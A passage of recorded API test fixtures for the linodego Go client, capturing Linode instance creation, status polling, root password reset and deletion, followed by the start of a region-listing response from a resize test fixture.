X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-x1du824iy3r1","root_pass":";:0tmpIzg1mNo\u003e+0oXs\u003e64C/Br:9kD''[VV0G~R0U3W=DNx8-n:l69QA3g9(20r,\u003c","image":"linode/debian9","firewall_id":1131259,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 66571988, "label": "go-test-ins-x1du824iy3r1", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["45.79.126.110"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "bb03aee31fa7539cfeeeaf2fd3ea5d5c9f4d8e68", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 04 Nov 2024 19:22:25 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "5" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/66571988 method: GET response: body: '{"id": 66571988, "label": "go-test-ins-x1du824iy3r1", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["45.79.126.110"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "bb03aee31fa7539cfeeeaf2fd3ea5d5c9f4d8e68", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 04 Nov 2024 19:22:40 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/66571988 method: GET response: body: '{"id": 66571988, "label": "go-test-ins-x1du824iy3r1", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["45.79.126.110"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "bb03aee31fa7539cfeeeaf2fd3ea5d5c9f4d8e68", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 04 Nov 2024 19:22:56 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/66571988 method: GET response: body: '{"id": 66571988, "label": "go-test-ins-x1du824iy3r1", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["45.79.126.110"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "bb03aee31fa7539cfeeeaf2fd3ea5d5c9f4d8e68", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 04 Nov 2024 19:23:10 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"root_pass":"]90Yiy0s4$5(oH3[jH$2[1234::5678$JHUHAqGqY;/}jbDlFquj6t]\u003ekYw3#''E4I7938D"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/66571988/password method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 04 Nov 2024 19:23:11 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/66571988 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 04 Nov 2024 19:23:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestInstance_Resize.yaml000066400000000000000000001143651474652371000314070ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-den-edge-1", "label": "Edge - Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-edge-1", "label": "Edge - Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-edge-1", "label": "Edge - Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-edge-1", "label": "Edge - Johannesburg, ZA\t", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "my-kul-edge-1", "label": "Edge - Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-edge-1", "label": "Edge - Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-edge-1", "label": "Edge - Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-edge-1", "label": "Edge - Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-edge-1", "label": "Edge - Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": 